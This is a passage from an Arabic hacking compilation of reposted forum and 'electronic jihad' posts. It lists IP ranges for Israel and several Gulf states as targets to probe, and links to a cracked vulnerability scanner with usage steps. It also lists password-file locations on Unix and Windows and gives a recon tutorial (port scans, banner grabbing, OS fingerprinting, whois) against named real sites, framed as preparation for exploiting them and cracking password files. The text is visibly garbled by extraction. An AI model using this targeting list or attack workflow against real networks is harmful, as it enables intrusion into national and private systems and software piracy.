‫تخذوا هذه اليبات وبحثوا فيها شدوا حيلكم في اليبيات‬ ‫الولى‬ ‫‪---------------212.150.13.1‬‬ ‫‪<--------212.150.32.255‬أسرائيل‬ ‫‪-----------------62.0.150.1‬‬ ‫‪<----------62.0.180.255‬أسرائيل‬ ‫‪---------------199.203.75.1‬‬ ‫‪<--------199.203.72.255‬أسرائيل‬ ‫‪---------------139.92.208.1‬‬ ‫‪<--------139.92.208.255‬أسرائيل‬ ‫‪---------------192.114.42.1‬‬ ‫‪<--------192.114.42.255‬أسرائيل‬ ‫‪----------------216.72.43.1‬‬ ‫‪<---------216.72.43.255‬أسرائيل‬ ‫‪--------------212.143.113.1‬‬ ‫‪<-------212.143.113.255‬أسرائيل‬ ‫‪498‬‬

‫‪---------------209.88.198.1‬‬ ‫‪<--------209.88.198.255‬أسرائيل‬ ‫‪---------------212.29.238.1‬‬ ‫‪<--------212.29.238.255‬أسرائيل‬ ‫‪--------------193.128.102.1‬‬ ‫‪<-------193.128.102.255‬أسرائيل‬ ‫‪--------------192.117.236.1‬‬ ‫‪<-------192.117.236.255‬أسرائيل‬ ‫‪----------------213.8.204.1‬‬ ‫‪<---------213.8.204.255‬أسرائيل‬ ‫‪---------------212.25.120.1‬‬ ‫‪<--------212.25.120.255‬أسرائيل‬ ‫‪----------------128.139.1.1‬‬ ‫‪<---------128.139.1.255‬أسرائيل‬ ‫‪<-------------212.2.224.1‬‬ ‫‪ <------------212.2.227.255‬السعوديه‬ ‫‪<--------------212.26.1.1‬‬ ‫‪ <-----------212.26.255.225‬السعوديه‬ ‫‪<-------------213.238.0.1‬‬ ‫‪ <-----------213.238.20.255‬السعوديه‬ ‫‪<-------------212.102.1.1‬‬ ‫‪499‬‬

‫‪ <------------212.102.3.255‬السعوديه‬ ‫‪<-----------212.116.190.1‬‬ ‫‪ <----------212.116.195.255‬السعوديه‬ ‫‪<------------212.106.60.1‬‬ ‫‪ <-----------212.106.70.255‬السعوديه‬

‫‪<-------------195.229.6.1‬‬ ‫‪ <-----------195.229.31.255‬المارات‬ ‫‪<-----------195.229.224.1‬‬ ‫‪ <----------195.229.255.255‬المارات‬ ‫‪<------------194.170.30.1‬‬ ‫‪<-----------194.170.30.255‬المارات‬ ‫‪<--------------213.42.1.1‬‬ ‫‪<-----------213.42.255.255‬المارات‬ ‫‪<--------------208.7.70.1‬‬ ‫‪ <-------------208.7.80.255‬الكويت‬ ‫‪<-----------195.226.240.1‬‬ ‫‪<----------195.226.255.255‬الكويت‬ ‫‪<------------195.39.130.1‬‬ ‫‪<-----------195.39.145.255‬الكويت‬ ‫‪500‬‬

‫‪<-------------168.187.1.1‬‬ ‫‪<----------168.187.255.255‬الكويت‬ ‫‪<-------------194.133.1.1‬‬ ‫‪ <-----------194.133.255.25‬قطر‬ ‫‪<-------------209.58.40.1‬‬ ‫‪ <------------209.58.40.255‬قطر‬ ‫‪<------------206.82.133.1‬‬ ‫‪ <-----------206.82.133.255‬قطر‬ ‫‪<------------206.49.109.1‬‬ ‫‪ <-----------206.49.109.255‬عمان‬ ‫‪<--------------212.72.1.1‬‬ ‫‪ <-------------212.72.7.255‬عمان‬ ‫‪<------------193.188.50.1‬‬ ‫‪ <----------193.188.200.255‬البحرين‬

‫انتهى‪،،،‬‬ ‫‪501‬‬

‫" شرح بربنامج ‪Shadow Scan Security‬‬ ‫لتحليل الموقع "‬ ‫>منقول من منتدى إعصار<‬ ‫>الكاتب المدمر<‬ ‫نبذة بسيطة عن البرنامج‪:‬‬ ‫هذا البرنامج هو أكثر البرامج فعالية في اكتشاف‬ ‫الثغرات وأيضا المنافذ المفتوحة ف المواقع ولديه‬ ‫‪502‬‬

‫أعمال كثيرة لكني لن أتطرق إل لعملية واحدة فقط‬ ‫وهي شر ح كيفية اكتشاف الثغرات في المواقع ومعرفة‬ ‫النطاقات المستخدمة لهذا الموقع وبالنسبة للخيارات‬ ‫الباقية لن أشرحها لنها سوف تأتخذ وقت طويل لكني‬ ‫سوف أقسم شرحي لهذا البرنامج لقسا‪.‬م عدة وسوف‬ ‫أبدئها بالعظم وهو شر ح لكيفية إتخراج ثغرات الموقع‬ ‫والمنافذ الخاصة به والمواقع المسجل بها والمزيد من‬ ‫الوظائف‬ ‫أول تنزيل البرنامج وتنصيب الكراك ‪Shadow‬‬ ‫‪Scan Security‬‬ ‫مافيه أبسط منه‬ ‫حمل البرنامج من هذي الوصلة‬ ‫‪http://www.safety-lab.com/SSS.exe‬‬ ‫وبعد مايكتمل التحميل حمل الكراك من هنا‬ ‫‪http://www.e3sar.net/almodammer/S‬‬ ‫‪hadowSecurityScanner5.35.exe‬‬ ‫‪503‬‬

‫الطريقة‪:‬‬ ‫=============================‬ ‫===========‬ ‫بعد تحميل البرنامج وتنزيله وعمل ‪ SetUp‬له‬ ‫افتح الكراك‬ ‫وبعد ذلك ستظهر هذه الصورة‪:‬‬

‫‪+++++++++++‬‬ ‫ٍ[]‪ ][1‬اضغط ليتم تنفيذ الكراك‬ ‫[]‪ ][2‬بعد إتما‪.‬م عملية الكراك اضغط هنا للخروج‬ ‫=============================‬ ‫===========‬

‫‪504‬‬

‫*****& شـــ البرنامج ـــر ح &*****‬ ‫سوف أشر ح باتختصار ومن يصعب عليه الفهم أرهجو‬ ‫أن يتقد‪.‬م لي بالسؤال‬ ‫=)بعد تحميل البرنامج قم بفتحه من قائمة‬ ‫ابدأ ‪Start‬‬ ‫وابحث عنه ضمن البرامج‬ ‫بعد إيجاد البرنامج قم بفتح‬ ‫‪ShadowScanSecurity‬‬ ‫ليـأتي لك هذا(=‬ ‫الشكل ‪-1-‬‬

‫أثناء الضغط على ‪Scanner‬‬ ‫الشكل‪-2-‬‬

‫‪505‬‬

‫‪ =1‬إضافة سياسة هجديدة والمقصود بها أيقونة أتخرى‬ ‫وهي الرقم ‪ 4‬ولكن تحمل اسمك )ولداعي لن تنشأ‬ ‫باحث أو سياسة هجديدة لك يكفيك الموهجودة(‬ ‫‪ =2‬إعدادات لهذا الباحث وأيضا انا لأنصحك بتغيير‬ ‫شيء أبدا في هذا الخيار‬ ‫‪ =3‬حذف الموهجه الجديد التي انت صممته والمقصود‬ ‫اليقونة التي تشبه رقم ‪ 4‬ولكن من تصميمك فبضغطك‬ ‫هنا سوف تحذفها‬ ‫‪ =4‬عليك تظليله وهو المربع الذي يوهجد به تخصائص‬ ‫البحث عن كل شيء‬ ‫‪ =5‬لرهجوع للخلف ولأظن أن هناك رهجوع لنها‬ ‫العملية والطار الول‬ ‫‪506‬‬

‫‪ =6‬اضغطها إذا أردت المتابعة‬ ‫‪ =7‬إزالة الطار‬ ‫الشكل‪-3-‬‬

‫)‪ (1‬للرهجوع إلى الشكل ‪-2-‬‬ ‫)‪ (2‬الذهاب إلى العملية التالية‬ ‫)‪ (3‬إلغاء إكمال العملية‬ ‫الشكل‪-4-‬‬

‫‪507‬‬

‫‪ +1+‬إضافة موقع للبحث فيه‬ ‫‪ +2+‬إضافة أي بي من وإلى‬ ‫‪ + 3+‬تحميل من ملف سواء كان يحتوي على مواقع‬ ‫تريد البحث عنها او آي بيات‬ ‫‪ +4+‬عند إضافة موقع وبعد تحديده أثناء الضغط هنا‬ ‫سوف ينحذف‬ ‫‪ + 5+‬العودة والرهجوع إلى الخلف أي‪ :‬الشكل‪-3-‬‬ ‫‪ + 6+‬إتما‪.‬م العملية‬ ‫‪ + 7+‬إزالة والخروج من الطار إلى واهجه البرنامج‬ ‫الرئيسية كباقي الزرار السابقة في الشكال السابقة‬ ‫الشكل‪-5-‬‬

‫‪508‬‬

‫أثناء ضغط الزر ‪ Done‬وفي الخطوة السابقة سوف‬ ‫يظهر هذا المربع الكبير‬ ‫ومن هنا سوف نبدأ البحث عن الثغرات أنظر الشكل‬ ‫لتفصيل أكثر‬

‫الشكل‪-6-‬‬ ‫بعد الضغط على ‪ Start Scan‬وذلك‬ ‫بتظليل الموقع والضغظ بزر الفأر ة‬ ‫اليمين‬

‫‪509‬‬

‫ابنتظر قليل بعد ضغطك لرقم ‪ 1‬في‬ ‫الشكل‪-5-‬‬ ‫وسوف يقو م البربنامج بالبحث في‬ ‫الموقع والمنافذ الخاصة به مع‬ ‫النطاقات كما هو موضح في هذا‬ ‫الشكل‬

‫ابنتهى‪،،،‬‬

‫" اماكن وجود ملف الباسورد في‬ ‫أبنظمة التشغيل "‬

‫‪510‬‬

‫>منقول من منتدى الحلم<‬ ‫>الكاتب‪ :‬بلك هنتر<‬ ‫في نطم ليونكس‬ ‫‪etc/shadow/‬‬ ‫في نظم صن ميكروسيستيمز‬ ‫‪etc/shadow/‬‬ ‫في نظم ال ‪ BSD‬بصفه عامه‬ ‫‪etc/master.passwd/‬‬ ‫في نظم السيليكون هجرافيكس ‪ SGI‬المسمى ‪ARIX‬‬ ‫‪etc/shadow/‬‬ ‫نظا‪.‬م اي بي ا‪.‬م المسمى ‪AIX‬‬ ‫‪etc/security/shadow/‬‬ ‫نظم يونكس بصفه عامه ))اتش بي يو اكس ‪ )) -‬ترو‬ ‫يونكس ‪ )) 64‬تخاص بالمنفريم ونظم الريسك ‪64‬‬ ‫وبعض منتجات اللفا (( (( ((‬ ‫‪511‬‬

‫‪etc/shadow/‬‬ ‫))اغلب هذه الصدارات تعتمد تشفير ‪ MD5‬القوي ((‬

‫نظم ويندوز بصفه عامه )) ‪(( NT - XP - 2000‬‬ ‫)) الملف المفعل بتشفير ‪(( LanMan‬‬ ‫‪winnt/system32/config/sam/‬‬ ‫))هذا الملف مغلق عادة ال عند القلع من النظا‪.‬م ول‬ ‫يسمح بفتحه او نسخه طالما النظا‪.‬م يعمل حتى ولو كان‬ ‫لديك صلحيات الدمنيستريتور ((‬

‫))الملف الحتياطي ((‬ ‫‪_.winnt/repair/sam or sam/‬‬

‫في الويندوز اكس بي البروفيشينال واصدارات‬ ‫الويسلر )) سيرفر ‪ -‬ادفانسد سيرفر ((‬ ‫لن تجد الويندوز في مجلد ‪WINNT‬‬ ‫ولكن سيكون كالويندوز العادي ‪.Windows‬‬ ‫‪512‬‬

‫انتهى‪،،،‬‬

‫" اوختراق الموقع )الجزء الول( "‬ ‫>منقول من موقع الجهاد اللكتروني<‬

‫مقدمه ‪:‬‬ ‫مرت فترة طويلة منذ الدرس السابق ول اعرف لماذا‬ ‫مر كل هذا الوقت دون أن ابدأ في كتابة هذا الدرس ‪..‬‬ ‫ربما لصعوبة الموضوع و تشعبه ‪ ..‬و لكن ها قد حان‬ ‫الوقت لمجابهة الصعوبة و التشعب و تقديم و لو حتى‬ ‫فكرة بسيطة عن هذا الموضوع الممتع ‪..‬‬ ‫‪513‬‬

‫سأعيد تعريف ‪ Telnet‬من هجديد و لكن بطريقه اكثر‬ ‫بساطه ‪..‬‬ ‫‪ Telnet‬هو برنامج يستخد‪.‬م في إنشاء وصله بين‬ ‫هجهازين ‪،‬و الجهاز المتصل يستخد‪.‬م عنوان الجهاز‬ ‫المستهدف و رقم المنفذ ‪ Port‬الذي سيتم التصال‬ ‫عليه ‪،‬و الجهاز المستهدف )الخاد‪.‬م( يشغل برنامج آتخر‬ ‫)‪ (Daemon‬يستمع على هذا المنفذ و تتم عمليه‬ ‫الرسال والستقبال باستخدا‪.‬م أحد البروتوكولت ‪.‬‬ ‫تشبيه من حياتنا العملية ‪ :‬نفترض أن هناك رهجل في‬ ‫فرنسا )المستهدف( و أنت )المتصل( تريد إقامة حوار‬ ‫معه )وصله( و أنت في مصر ‪ ..‬فلبد لك من استخدا‪.‬م‬ ‫وسيله اتصال )‪ (Telnet‬و لنفرض أنها الهاتف الذي‬ ‫لبد للرهجل أن يضعه على أذنه )‪ (Daemon‬لكي‬ ‫يسمعك ‪ ..‬و لنفرض أيضا أن هذا الرهجل ل يتحدث‬ ‫العربية ‪ ..‬إذن فلبد لك من استخدا‪.‬م الفرنسية‬ ‫)البروتوكول المستخد‪.‬م( حتى تتحدث )الرسال‬ ‫والستقبال( بحريه ‪.‬‬

‫‪514‬‬

‫مما سبق نستنتج أن ‪ Telnet‬هو مجرد وصله )مثل‬ ‫الهاتف( ‪ ..‬و انه لبد لنا من معرفة البروتوكول‬ ‫المستخد‪.‬م في التصال حتى ننجح في الرسال و‬ ‫الستقبال ‪ .‬كما انه لبد لنا من أن نعرف أيضا أنه لبد‬ ‫من برنامج ‪ Daemon‬يتسمع على المنفذ المراد‬ ‫التصال عليه ‪.‬‬

‫استخدا‪.‬م ‪ Telnet‬ك ‪FTP Client‬‬ ‫المنفذ الذي سيتم التصال عليه في حاله استخدامنا‬ ‫بروتوكول نقل الملفات ‪FileTransfer‬‬ ‫‪ Protocol‬في الغالب سيكون ‪.. 21‬‬ ‫أين الصعوبة إذن ؟‬ ‫الصعوبة تكمن في أننا لكي نستخد‪.‬م ‪ Telnet‬ك‬ ‫‪ FTP Client‬يجب علينا اللما‪.‬م بقدر كبير‬ ‫ببروتوكول ‪!! FTP‬‬ ‫و لكن هذا لن يمنعني من عرض بعض المثلة لظهار‬ ‫كيفية التعامل مع هذا البروتوكول ‪..‬‬ ‫بدء التصال‬ ‫‪ -1‬قم بتشغيل ‪ Telnet‬و شبك على‬ ‫‪515‬‬

‫‪ ftp.zdnet.com‬بالمنفذ ‪21‬‬ ‫و هذا ما سيظهر لك‬ ‫‪ - Sources Code‬شفرة‬ ‫‪l19-sj-zdnet.zdnet.com NcFTPd 220‬‬ ‫‪.Server (licensed copy) ready‬‬

‫و السطر السابق يسمي ‪ Banner‬الخاص بال ‪FTP‬‬ ‫‪ Daemon‬المستخد‪.‬م في موقع ‪ zdnet‬و هي‬ ‫تختلف باتختلف الموقع الذي سيتم التشبيك عليه ‪ .‬و‬ ‫الرقم الموهجود في البداية يدل على نجا ح التصال و‬ ‫هو رقم ثابت ‪.‬‬ ‫‪ -2‬الخطوة التالية هي الولوج باستخدا‪.‬م اسم المستخد‪.‬م‬ ‫‪ Username‬و كلمة السر ‪ .. Password‬بما أن‬ ‫‪ zdnet‬تدعم المستخد‪.‬م ‪ Anonymous‬سيتم‬ ‫استخدامه في الولوج للنظا‪.‬م كالتالي‪:‬‬ ‫ستكتب‬ ‫‪ - Sources Code‬شفرة‬ ‫‪516‬‬

user anonymous

‫م بالتالي‬.‫و سيستجيب الخاد‬ ‫ شفرة‬- Sources Code

Guest login ok, send your 331 complete e-mail address as .password

‫ثم تكتب أنت التالي‬ ‫ شفرة‬- Sources Code

517

‫‪pass @zorro‬‬

‫و بالطبع عند الولوج بالمستخد‪.‬م ‪Anonymous‬‬ ‫تقو‪.‬م بإعطاء عنوان البريد اللكتروني الخاص بك‬ ‫ككلمة السر ‪ ..‬و إذا لم ترد إعطاء بريدك فيمكنك أن‬ ‫تكتب أي شئ يأتخذ شكل البريد )أي يحتوي على‬ ‫الرمز) @‬ ‫و سيستجيب الخاد‪.‬م بالتالي‬ ‫‪ - Sources Code‬شفرة‬

‫‪You are user #552 of 2000-230‬‬ ‫‪.simultaneous users allowed‬‬ ‫‪-230‬‬ ‫‪.Logged in anonymously 230‬‬

‫‪518‬‬

‫و بالطبع تلك الستجابه قد تختلف من موقع لتخر ‪..‬‬ ‫إل في الرقم في بداية كل سطر ‪..‬‬ ‫أنت الن قد قمت بالولوج إلى الخاد‪.‬م بنجا ح ‪.‬‬

‫بعد أن تمت عمليه الولوج للنظا‪.‬م يجب إنشاء وصله‬ ‫لرسال واستقبال البيانات )قائمه بالملفات الموهجودة أو‬ ‫الملفات ذاتها( ‪ ..‬إذن ما الذي كنا نفعله منذ قليل ؟!!‬ ‫ما قد فعلناه منذ قليل هو إنشاء وصله لرسال الوامر‬ ‫للنظا‪.‬م و استقبال استجابة النظا‪.‬م على الوامر ‪.‬‬ ‫و لكي ننشئ تلك الوصلة ‪،‬هناك طريقتين‬ ‫الولي ‪ :‬تنشئ هذه الطريقة الوصلة بان يرسل الزبون‬ ‫)أنت( رقم ‪ IP‬الخاص به و المنفذ المفتو ح الذي‬ ‫يستطيع الخاد‪.‬م استخدامه في إرسال البيانات ‪.‬‬ ‫و لكن تلك الطريقة تتطلب منك فتح أحد المنافذ على‬ ‫هجهازك و هذا سيتطلب برنامج تخاص لفتح هذا المنفذ‬ ‫‪ ..‬و لذلك لن نستخد‪.‬م تلك الطريقة ‪.‬‬ ‫الثانية ‪ :‬تنشئ هذه الطريقة الوصلة بان يرسل الزبون‬ ‫المر ‪PASV‬‬ ‫‪ - Sources Code‬شفرة‬ ‫‪519‬‬

‫‪PASV‬‬

‫و سيرد الخاد‪.‬م برقم ‪ IP‬الخاص به و المنفذ المفتو ح‬ ‫)على الخاد‪.‬م بالطبع( الذي يستطيع الزبون )أنت(‬ ‫التصال عليه ‪..‬‬ ‫مثال‬ ‫‪ - Sources Code‬شفرة‬

‫‪Entering Passive Mode 227‬‬ ‫‪((207,189,69,61,12,41‬‬

‫و الرقم الطويل الموهجود بين القواس تفسيره كالتالي‬ ‫‪..‬‬ ‫‪520‬‬

‫أول أربع مجموعات )من اليسار( هو ال ‪ IP‬الخاص‬ ‫بالخاد‪.‬م و في هذه الحالة يكون ‪.. 207,189,69,61‬‬ ‫أما الرقمان التاليان فيمثلن رقم المنفذ و يتم حسابه‬ ‫كالتالي‬ ‫‪3113 = 41 + 256 × 12‬‬

‫و لذلك فالخطوة التالية التي يجب على الزبون اتباعها‬ ‫هي فتح وصله هجديده مع الخاد‪.‬م على المنفذ ‪.. 3113‬‬ ‫ولكي تقو‪.‬م بمثل هذا المر يتوهجب عليك فتح نافذة‬ ‫‪ Telnet‬هجديده و تشبك على ‪ftp.zdnet.com‬‬ ‫بالمنفذ ‪.. 3113‬‬ ‫إذن عندما تريد أن ترسل أحد الوامر سترسله من‬ ‫النافذة الولى و النافذة الثانية ستظهر بها البيانات ‪..‬‬ ‫مثال‬ ‫عندما ترسل المر ‪( LIST‬يستخد‪.‬م لعرض محتويات‬ ‫الدليل( في النافذة الولى‬ ‫‪ - Sources Code‬شفرة‬

‫‪LIST‬‬ ‫‪521‬‬

‫سيستجيب الخاد‪.‬م بالتالي في النافذة الولى أيضا‬ ‫‪ - Sources Code‬شفرة‬ ‫‪Data connection already open; 125‬‬ ‫‪.Transfer starting‬‬

‫و ستظهر محتويات الدليل في النافذة الثانية ثم سيتم‬ ‫غلق التصال في النافذة الثانية بمجرد إتما‪.‬م عرض‬ ‫محتويات الدليل ‪.‬‬ ‫و هكذا كلما أردت أن ترسل أمر عرض محتويات دليل‬ ‫ما أو استقبال أو إرسال ملف ما ‪ ،‬يجب أن تبدأ بأمر‬ ‫‪ .. PASV‬ثم تنشئ اتصال هجديدا بعد حساب رقم‬ ‫المنفذ باتباع الخطوات السابقة ‪.‬‬ ‫‪522‬‬

‫إلى هنا و أظن أنني قد تماديت ‪ ..‬و لكنني لم استطع‬ ‫أن امنع نفسي من مشاركتكم بهذا الموضوع الممتع‬ ‫)ممتع بالنسبة إلي( ‪.‬‬

‫ملحظات هامة‬ ‫ لربما تتساءل الن ‪ ..‬أل أستطيع بدل من كل هذا‬‫الهراء أن استخد‪.‬م برنامج هجاهز مثل ‪ CuteFTP‬؟!!‬ ‫بالطبع تستطيع و لكن لن يضرك أن تعلم شيئا عن‬ ‫البروتوكول الذي تستخدمه و ربما بعد تعلم‬ ‫البروتوكول تستطيع أن تصنع برنامجك الخاص‬ ‫ اقرأ الدرس مره و مرتين حتى تستوعب الفكرة‬‫تماما ثم اسأل فيما شئت‬ ‫ لتعلم اكثر عن هذا الموضوع قم بزيارة المواقع‬‫التالية‬ ‫‪http://www.vbip.com/winsock/winso‬‬ ‫‪ck_ftp_01.asp‬‬ ‫)ينصح به بشده(‬ ‫‪523‬‬

http://www.vbip.com/winsock/winso (‫ )ينصح به بشده‬ck_ftp_ref_01.htm http://www.cis.ohio‫ )لمن‬state.edu/htbin/rfc/rfc0959.html .(‫اراد التعمق في البروتوكول‬

،،،‫انتهى‬

524

‫" اوختراق المواقع )الجزء الثابني( "‬ ‫> منقول من موقع الجهاد<‬ ‫>الكاتب‪ :‬الكندور<‬ ‫التختراق ‪:‬‬ ‫~~~~~~~~~‬ ‫ المقدمة ‪.‬‬‫ كيف أهجمع معلومات حول الموقع ؟‬‫ كيف يتم كشف نقاط الضعف ؟‬‫ كيف يمكن إستغلل نقاط الضعف المكتشفه ؟‬‫ ماهو ملف كلمة المرور ‪ password file‬؟‬‫ بماذا يفيدني هذا الملف ؟‬‫ كيف يمكن معرفة كلمة السر من تخلل ملف‬‫الباسورد ‪ password file‬؟‬ ‫ ماالفرق بين إذا كان الملف )مشفر ‪(encryption‬‬‫وإذا كان )مضلل ‪ (shadowed‬؟‬ ‫ وماذا لو كان ملف كلمة المرور مشفر ‪ ،‬كيف يتم‬‫كسره ؟‬ ‫‪525‬‬

‫ ولو كان ملف كلمة المرور مضلل ‪ ،‬ماذا علي ان‬‫أعمل ؟‬

‫المقدمة ‪-:‬‬ ‫~~~~~~~~~‬ ‫أعد هذا المستند للباحثين وليس لمن أراد أن يخترق‬ ‫موقع فقط ! أنا أعتبر أن لديك الخبره اللزمه لفهم كل‬ ‫ما أتحدث عنه ‪ ،‬ل تتوقع إني بقول لك نزل برنامج‬ ‫) مثل ‪ ( Void Eye‬أو غيره وحط لك في هذا‬ ‫المستند شر ح بالصور وقول لك إتخترق مواقع ‪ ،‬العمل‬ ‫المقزز هذا لن نتطرق له أبد ًا‬

‫‪526‬‬

‫ كيف أهجمع معلومات حول موقع ؟‬‫~~~~~~~~~~~~~~~~~~~~~~~~~~~~~‬ ‫~~‬ ‫أول تخطوه تصلحها هي بورت سكان ‪ ،‬أنصحك تستخد‪.‬م‬ ‫‪ nmap‬المشهوره والقواء على الطلق‪،‬يمكن أن‬ ‫تبحث عنها هذا إذا ما لقيتها في الموقع‬ ‫‪ www.inscure.org/nmap‬وهي تعمل على‬ ‫نظا‪.‬م ليونكس ‪ ،‬إذا أردت برنامج يعمل على ويندوز‬ ‫انصحك بـ ‪ ، SuperScan‬عليك البحث عنها في‬ ‫النترنت ‪ ،‬سوف تجد آلف المواقع التي تقدمها لتنزيل‬ ‫‪ ،‬ومن الممكن أن تستخد‪.‬م نصوص ‪ Perl‬لعمليه‬ ‫البحث ‪ ،‬لغه ‪ Perl‬أصبحت اللغه محبوبه لدى هجميع‬ ‫الهاكر بعد ‪C‬‬ ‫بعد الحصول على النتائج ‪ ،‬مثل نصلح تجربه على‬ ‫الموقع ‪ ( /http://www.7lem.com‬بعض‬ ‫برامج البحث تطلب وضع رقم الي بي للموقع ‪،‬‬ ‫ولتقبل الدوماين عندها إستخد‪.‬م ‪ ping‬لتعرف رقم‬ ‫الي بي(‬ ‫تأتي النتائج ‪ ،‬البورتات )‪37 - 25 - 23 - 22 - 21‬‬ ‫‪527‬‬

‫ ‪ (587 - 514 - 513 - 143 - 110‬ويوهجد منافذ‬‫أتخرى لكن لن نهتم لها هنا ‪ ،‬نقو‪.‬م بعمليه نزع التواقيع‬ ‫للمنافذ‪...‬‬ ‫ماهي عمليه نزع التواقيع للمنافذ؟‬ ‫من المعروف أن المنفذ فتح من قبل تطبيق ‪ ،‬عند‬ ‫التصال بهذا المنفذ فسوف يتم إرهجاع رد اليك ‪ ،‬مثل‬ ‫لو إتصلت بالبورت ‪ 23‬وهو لتلنت ‪ ،‬وموقع‬ ‫‪ /http://www.7lem.com‬توهجد به تخدمه تلنت‬ ‫‪ ،‬ويتضح هذا من عمليه مسح المنافذ ‪،‬التصال بخدمه‬ ‫اتلنت‬ ‫‪/telnet http://www.7lem.com‬‬ ‫يتم تنفيذ المر التالي في ‪ Windows‬و ‪ Linux‬و‬ ‫‪ SunOS‬و ‪ FreeBSD‬و ‪ QNX‬بنفس الصيغه ‪،‬‬ ‫ولكن أفضل ‪ Linux‬عنها ‪ ،‬وهو لن لينكس يوفر كل‬ ‫ماتحتاهجه من أدوات ‪...‬هذا المستند ل يختص بـ‬ ‫‪ Linux‬لذلك لن أذكرها ‪ ،‬تأتي نتيجه التصال بسيرفر‬ ‫الحلم على بورت التلنت‬ ‫‪---------------------‬‬‫‪SunOS 5.7‬‬ ‫‪528‬‬

‫‪---------------------- login :‬‬ ‫يتضح بأن السيرفر يعمل على نظا‪.‬م ‪SunOS 5.7‬‬ ‫‪،‬بقي عليك أن تنتزع التواقيع من البورتات المتبقيه‬ ‫لتعرف ما هو التطبيق وإصدارته المنصت لها )إستخد‪.‬م‬ ‫التلنت ( ‪ ،‬وثم تقو‪.‬م ببحث عن نقاط ضعف لها وتحصل‬ ‫على شيفرات الستثمار الخاصه بها ‪ ،‬الخطوه التاليه‬ ‫هي أن تعرف ما هو ملقم الويب الذي يعمل على هذا‬ ‫النظا‪.‬م ‪ ،‬نذهب الى الترمينال تبع ليونكس ونكتب‬ ‫‪nc http://www.7lem.com/ 80‬‬ ‫‪---------------------‬‬‫‪.‬‬ ‫‪.‬‬ ‫‪.‬‬ ‫‪Apache/1.3.* Server‬‬ ‫‪.‬‬ ‫‪.‬‬ ‫‪---------------------‬‬‫أتختصرت النتيجه وتم تضليل إصدار ملقم الويب وذلك‬ ‫‪529‬‬

‫لحمايه الموقع ‪ ،‬اتمنى أن تستطيع كشفه بنفسك‪...‬‬ ‫من المعروف من عمليه السكان بورت بأن البورتين‬ ‫‪ 110‬و ‪ 25‬مفتوحين ‪ ،‬هذا يدل على أن في الموقع‬ ‫تخدمة البريد اللكتروني ‪ ،‬بالطبع هذا يفيدك لمعرفه‬ ‫‪ smtp‬و ‪ pop‬للموقع ‪ ،‬كل ماعليك فعله هو كتابه‬ ‫المر التالي )في ‪( Linux‬‬ ‫‪host 7lem.com‬‬ ‫وأنتظر النتائج‬ ‫ملحظه ‪ -:‬إذا كنت تعيش مع بن لدن ولست عائش‬ ‫في هجو تقنيه معلومات كل ما عليك فعله هو‬ ‫تفجيراليميل )على حسب ما يسمياها كثير من الناس(‬ ‫ملحظه ثانيه ‪ -:‬إذا لم تجد في السيرفر تخدمه تلنت أو‬ ‫أنه تم تغيير التوقيع عن طريق مثل قرصنه النظا‪.‬م‬ ‫‪....‬الخ ‪ ،‬عليك أن تستخد‪.‬م ‪ queso‬الداة المفضله‬ ‫لكشف نظا‪.‬م التشغيل ‪ ،‬وهي تعمل على ليونكس ‪،‬‬ ‫لستخدامها عليك كتابه‬ ‫‪/queso http://www.7elm.com‬‬ ‫كل ماعليك بعد تثبيت الداة في هجهازك هو كتابه‬ ‫‪530‬‬

‫‪ queso‬وثم مسافه والموقع ورقم البورت ‪ 80‬والذي‬ ‫هو بطبيعه الحال مفتو ح في هجميع المواقع‪...‬يأتيك الرد‬ ‫بأن النظا‪.‬م ‪SunOS 5.7‬‬ ‫لو أردت مثل قائمة بالبريدات الموهجوده في موقع‬ ‫‪ /http://www.condor.com‬مثل )‬ ‫‪ support‬أو ‪ webmaster‬أو ‪... info‬الخ ( أو‬ ‫أدرت معرفه الـ ‪ DNS‬الولي والثانوي للموقع ‪ ،‬أو‬ ‫من هو الشخص اللي سجل ومعلومات عنه وما هي‬ ‫الشركه التي تستظيف الموقع ‪ ،‬عليك بإستخدا‪.‬م تخدمه‬ ‫‪ ، whois‬تستطيع إستخدا‪.‬م تخدمه ‪ whois‬وتطلب‬ ‫معلومات من قواعد بيانات ‪ whois‬عن طريق أمر‬ ‫‪ whois‬في لينكس ‪ ،‬أكتب ‪ man whois‬لمزيد‬ ‫من المعلومات ‪ ،‬إذا كنت تستخد‪.‬م ويندوز أو أي بيئه‬ ‫أتخرى أنصحك بالتوهجه الى برمجيات السي هجي آي‬ ‫المتواهجد في الموقع‬ ‫‪http://www.psyon.org/tools/index.ht‬‬ ‫‪ml‬‬ ‫توفر لك هذه الصفحه مجموعه من برمجيات السي‬ ‫هجي آي التي تسهل لك المهمه ‪ ،‬هناك رياضيات لطلب‬ ‫معلومات عن موقع ويب بإستخدا‪.‬م ‪ whois‬وهي‬ ‫مفيده هجدا ‪ ،‬على كل حال توهجه الى الموقع التالي‬ ‫‪531‬‬

‫لمزيد من التفاصيل‬ ‫?‪http://www.google.com/search‬‬ ‫‪q=whois&btnG=Google+Search‬‬

‫ كيف يتم كشف نقاط الضعف ؟‬‫~~~~~~~~~~~~~~~~~~~~~~~~~~‬ ‫ل تستخد‪.‬م برامج مثل ‪ void eye‬أو‬ ‫‪ ShadowSecurityScaner‬هذه للمغفلين‬ ‫فقط!!‪ ،‬المحترفين واللي يبغا يكون محترف ل يستخد‪.‬م‬ ‫برامج في عمليات التختراق ‪ ،‬ول يخترق لمجرد أنه‬ ‫يبغا يخترق ‪ ،‬عمليه إتختراق سيرفر تمتاز بالدقه‬ ‫المتناهيه ‪ ،‬والتخطيط المحكم ‪ ،‬وكل عمليات السطو‬ ‫المحكمه هي التي يصعب إكتشاف مرتكبيها ‪ ،‬لكن وال‬ ‫‪532‬‬

‫لو كنت من اللي يشغل برنامج ومايدري ال وين حاطه‬ ‫فصدقني إنك مارا ح تفلح طول عمرك ‪ ،‬هذا لو قدرت‬ ‫تخترق شئ ‪ ،‬فلو حدث وتم التختراق بواحد من هذه‬ ‫البرامج فسوف تصطاد بسناره تماما كالسمكه‬ ‫نقاط الضعف المفضله والتي تعتبر كأسرار ول يكشف‬ ‫عنها ال بعد فتره طويله هي التي في ملقم الويب مثل‬ ‫‪ Apache‬أو ‪ ، IIS‬وكذلك نقاط الضعف الموهجوده‬ ‫في سكربتات ‪ CGI‬و ‪ Perl‬و ‪ ، PHP‬أو التي قد‬ ‫تكون موهجوده في البرنامج المستخد‪.‬م لتفسير نصوص‬ ‫البيرل أو السي هجي آي ‪ ،‬وإذا كان في الموقع برنامج‬ ‫لتسوق مثل من الممكن أن تستغل فيه نقطه ضعف هذا‬ ‫إذا وهجدت به ‪ ،‬يعني اي شئ في السيرفر سوى كان‬ 